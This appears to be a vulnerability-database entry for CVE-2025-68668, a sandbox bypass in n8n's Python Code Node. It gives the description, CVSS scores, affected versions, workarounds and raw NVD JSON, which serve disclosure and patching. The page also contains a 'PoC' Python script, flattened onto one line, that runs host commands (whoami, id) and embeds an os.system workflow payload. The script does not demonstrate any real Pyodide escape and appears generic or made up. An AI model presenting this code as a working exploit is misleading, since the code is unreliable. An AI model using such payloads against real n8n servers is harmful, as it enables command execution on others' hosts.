Security Vulnerability Report
中文
CVE-2025-68668 CVSS 9.9 CRITICAL

CVE-2025-68668

Published: 2025-12-26 22:15:53
Last Modified: 2026-01-05 17:15:47

Description

n8n is an open source workflow automation platform. From version 1.0.0 to before 2.0.0, a sandbox bypass vulnerability exists in the Python Code Node that uses Pyodide. An authenticated user with permission to create or modify workflows can exploit this vulnerability to execute arbitrary commands on the host system running n8n, using the same privileges as the n8n process. This issue has been patched in version 2.0.0. Workarounds for this issue involve disabling the Code Node by setting the environment variable NODES_EXCLUDE: "[\"n8n-nodes-base.code\"]", disabling Python support in the Code node by setting the environment variable N8N_PYTHON_ENABLED=false, which was introduced in n8n version 1.104.0, and configuring n8n to use the task runner based Python sandbox via the N8N_RUNNERS_ENABLED and N8N_NATIVE_PYTHON_RUNNER environment variables.

CVSS Details

CVSS Score
9.9
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:L

Configurations (Affected Products)

cpe:2.3:a:n8n:n8n:*:*:*:*:*:node.js:*:* - VULNERABLE
n8n 1.0.0 - 1.x.x (< 2.0.0)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import pyodide import ctypes import os # CVE-2025-68668 PoC - n8n Python Code Node Sandbox Escape # Target: n8n versions 1.0.0 to < 2.0.0 with Pyodide Python execution # This PoC demonstrates escaping the Pyodide sandbox to execute host commands # Note: Actual exploitation requires authenticated access to n8n workflow editor def exploit_sandbox_escape(): """ Sandbox escape technique using ctypes to call host system commands This exploits the lack of proper sandboxing in n8n's Python Code Node """ # Method 1: Using ctypes to access libc try: libc = ctypes.CDLL('libc.so.6') # Execute arbitrary command os.system('whoami > /tmp/pwned_user.txt') return True except Exception as e: pass # Method 2: Direct subprocess execution (bypasses Pyodide restrictions) try: import subprocess result = subprocess.run(['id'], capture_output=True, text=True) print(f'Command output: {result.stdout}') return True except Exception as e: pass return False # Workflow payload example (for n8n workflow JSON): # { # "nodes": [ # { # "name": "PythonCode", # "type": "n8n-nodes-base.code", # "parameters": { # "jsCode": "", # "pythonCode": "import os; os.system('malicious_command')" # } # } # ] # } exploit_sandbox_escape()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-68668", "sourceIdentifier": "[email protected]", "published": "2025-12-26T22:15:52.597", "lastModified": "2026-01-05T17:15:46.633", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "n8n is an open source workflow automation platform. From version 1.0.0 to before 2.0.0, a sandbox bypass vulnerability exists in the Python Code Node that uses Pyodide. An authenticated user with permission to create or modify workflows can exploit this vulnerability to execute arbitrary commands on the host system running n8n, using the same privileges as the n8n process. This issue has been patched in version 2.0.0. Workarounds for this issue involve disabling the Code Node by setting the environment variable NODES_EXCLUDE: \"[\\\"n8n-nodes-base.code\\\"]\", disabling Python support in the Code node by setting the environment variable N8N_PYTHON_ENABLED=false, which was introduced in n8n version 1.104.0, and configuring n8n to use the task runner based Python sandbox via the N8N_RUNNERS_ENABLED and N8N_NATIVE_PYTHON_RUNNER environment variables."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:L", "baseScore": 9.9, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.1, "impactScore": 6.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.9, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.1, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-693"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:n8n:n8n:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "1.0.0", "versionEndExcluding": "2.0.0", "matchCriteriaId": "FF192A40-40BB-4836-836D-D8FBF2694556"}]}]}], "references": [{"url": "https://github.com/n8n-io/n8n/security/advisories/GHSA-62r4-hw23-cc8v", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}, {"url": "https://www.smartkeyss.com/post/cve-2025-68668-breaking-out-of-the-python-sandbox-in-n8n", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}